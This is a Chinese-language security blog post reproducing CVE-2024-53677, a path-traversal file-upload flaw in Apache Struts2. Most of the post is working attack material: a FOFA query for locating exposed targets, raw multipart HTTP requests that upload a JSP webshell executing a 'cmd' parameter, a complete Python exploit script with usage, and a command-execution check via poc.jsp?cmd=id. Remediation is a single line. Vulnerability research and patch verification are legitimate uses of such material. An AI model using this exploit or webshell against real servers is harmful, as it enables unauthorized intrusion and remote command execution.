Apache Struts2文件上传绕过致远程命令执行漏洞(CVE-2024-53677)

2024-12-28 153 0

Struts2 介绍

Struts2框架是一个用于开发Java EE网络应用程序的开放源代码网页应用程序架构。它利用并延伸了Java Servlet API,鼓励开发者采用MVC架构。Struts2以WebWork优秀的设计思想为核心,吸收了Struts框架的部分优点,提供了一个更加整洁的MVC设计模式实现的Web应用程序框架。

漏洞概述

CVE-2024-53677 是一个在Apache Struts 框架中发现的严重漏洞,可能允许攻击者远程执行任意代码。 漏洞的根本原因是文件上传逻辑存在缺陷,攻击者可以利用该缺陷进行路径穿越和恶意文件上传。 该漏洞影响了特定版本的Apache Struts,开发者和系统管理员应立即采取措施,防止被利用。

漏洞版本

2.0.0 <= Struts <= 2.3.37(EOL)
2.5.0 <= Struts <= 2.5.33
6.0.0 <= Struts <= 6.3.0.2

FOFA:

app="Struts2"

环境搭建

使用docker进行搭建靶场,使用的系统为Centos 7

git clone https://github.com/c4oocO/CVE-2024-53677-Docker.git
docker build --ulimit nofile=122880:122880 -m 3G -t cve-2024-53667 .
docker run -p 8080:8080 --ulimit nofile=122880:122880 -m 3G --rm -it --name cve-2024-53667 cve-2024-53667
curl http://localhost:8080/upload.action

Apache Struts2文件上传绕过致远程命令执行漏洞(CVE-2024-53677)插图

漏洞复现

目标地址如下:

Apache Struts2文件上传绕过致远程命令执行漏洞(CVE-2024-53677)插图1

首先尝试上传一个1.txt 文档,文档内容为CVE-2024-53677

Apache Struts2文件上传绕过致远程命令执行漏洞(CVE-2024-53677)插图2

Apache Struts2文件上传绕过致远程命令执行漏洞(CVE-2024-53677)插图3

此时访问1.txt

Apache Struts2文件上传绕过致远程命令执行漏洞(CVE-2024-53677)插图4

由此可见,文件上传点为/upload.action,上传后的文件路径为/uploads/ ,接下来正常上传一个jsp 木马,抓包后数据包如下:

POST /upload.action HTTP/1.1
Host: 192.168.41.219:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------338492666920734954652406641204
Content-Length: 562
Origin: http://192.168.41.219:8080
Connection: close
Referer: http://192.168.41.219:8080/upload.action
Cookie: JSESSIONID=478BDFF51FE2EF802661225A4D559B69
Upgrade-Insecure-Requests: 1
Priority: u=0, i

-----------------------------338492666920734954652406641204
Content-Disposition: form-data; name="upload"; filename="1.jsp"
Content-Type: application/octet-stream

<%@ page import="java.io.*"%>
<%
 out.print("Hello</br>");
 String strcmd=request.getParameter("cmd");
 String line=null;
 Process p=Runtime.getRuntime().exec(strcmd);
 BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
 while((line=br.readLine())!=null){
 out.print(line+"</br>");
 }
%>

-----------------------------338492666920734954652406641204--

发送数据包

Apache Struts2文件上传绕过致远程命令执行漏洞(CVE-2024-53677)插图5

也是能正常上传到/uploads/ 目录的,而CVE-2024-53677 可以绕过上传路径到 网址根目录下:具体原理参考如下:

https://y4tacker.github.io/2024/12/16/year/2024/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E9%80%BB%E8%BE%91%E7%BB%95%E8%BF%87-CVE-2024-53677-S2-067/

因此修改后的数据包如下:

POST /upload.action HTTP/1.1
Host: 192.168.41.219:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------338492666920734954652406641204
Content-Length: 696
Origin: http://192.168.41.219:8080
Connection: close
Referer: http://192.168.41.219:8080/upload.action
Cookie: JSESSIONID=478BDFF51FE2EF802661225A4D559B69
Upgrade-Insecure-Requests: 1
Priority: u=0, i

-----------------------------338492666920734954652406641204
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain

<%@ page import="java.io.*"%>
<%
 out.print("Hello</br>");
 String strcmd=request.getParameter("cmd");
 String line=null;
 Process p=Runtime.getRuntime().exec(strcmd);
 BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
 while((line=br.readLine())!=null){
 out.print(line+"</br>");
 }
%>
-----------------------------338492666920734954652406641204
Content-Disposition: form-data; name="upload";name="top.UploadFileName";

../test.jsp
-----------------------------338492666920734954652406641204--

简单来说具体改变的是将name="upload" 改成了name="Upload" filename="1.txt" 以及Content-Type 也变了,然后添加另一个Content-Disposition 并且使用了top,从而改变了路径

Apache Struts2文件上传绕过致远程命令执行漏洞(CVE-2024-53677)插图6

成功绕过上传路径

Apache Struts2文件上传绕过致远程命令执行漏洞(CVE-2024-53677)插图7

脚本利用如下:

CVE-2024-53677.py

import requests
import argparse
import os

def send_post_request(url, filename_value, file_path, file_type):
    # 读取文件内容
    with open(file_path, 'r') as f:
        file_content = f.read()

    # 设置请求头
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36',
    }

    # 设置 multipart/form-data
    files = {
        'Upload': (os.path.basename(file_path), file_content, 'text/html'),
    }
    
    # 设置字段参数,根据 -type 选择上传单文件还是多文件
    if file_type == 's':
        data = {
            'top.uploadFileName': filename_value,
        }
    elif file_type == 'm':
        data = {
            'uploadFileName[0]': filename_value,
        }
    else:
        raise ValueError("Invalid type, must be 's' for single or 'm' for multiple.")

    # 发送POST请求
    response = requests.post(url, headers=headers, files=files, data=data)
    
    # 输出响应结果
    print(f"Response Status Code: {response.status_code}")
    print(response.text)

def main():
    # 设置命令行参数
    parser = argparse.ArgumentParser(description='Send a POST request with file and form data.')
    parser.add_argument('-u', '--url', required=True, help='upload aciton url')
    parser.add_argument('-filename', required=True, help='filename with path traversal')
    parser.add_argument('-file', required=True, help='evil file to be uploaded')
    parser.add_argument('-type', choices=['s', 'm'], required=True, help="Type of upload: 's' for single file upload, 'm' for multiple files upload")

    # 解析参数
    args = parser.parse_args()

    # 发送POST请求
    send_post_request(args.url, args.filename, args.file, args.type)

if __name__ == '__main__':
    main()

准备一个jsp 木马,这里为1.jsp

<%@ page import="java.io.*"%>
<%
 out.print("Hello</br>");
 String strcmd=request.getParameter("cmd");
 String line=null;
 Process p=Runtime.getRuntime().exec(strcmd);
 BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
 while((line=br.readLine())!=null){
 out.print(line+"</br>");
 }
%>

脚本运行模板如下:

python CVE-2024-53677.py -u http://192.168.41.219:8080/upload.action -filename ../poc.jsp -file 1.jsp -type s

其中参数-u 指定上传点,-filename 指定上传的路径和上传后的文件名 -file指定要上传的文件, -type s 指定单文件上传

Apache Struts2文件上传绕过致远程命令执行漏洞(CVE-2024-53677)插图8

上传完成后访问如下地址,验证一句话木马

http://192.168.41.219:8080/poc.jsp?cmd=id

Apache Struts2文件上传绕过致远程命令执行漏洞(CVE-2024-53677)插图9

漏洞修复:

升级至安全版本。


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

BinCAT:一款基于IDA和Python自动化的静态代码分析工具
4 种不同的方式利用 cve-2024-20017
CISA将Microsoft Outlook、Sophos XG Firewall等漏洞列入已知被利用漏洞目录
网络安全运营人员外包的困境挑战
IVRE:一款支持自托管完全受控服务的网络侦察框架
微软发布脚本更新可启动媒体以应对BlackLotus UEFI启动工具包威胁

发布评论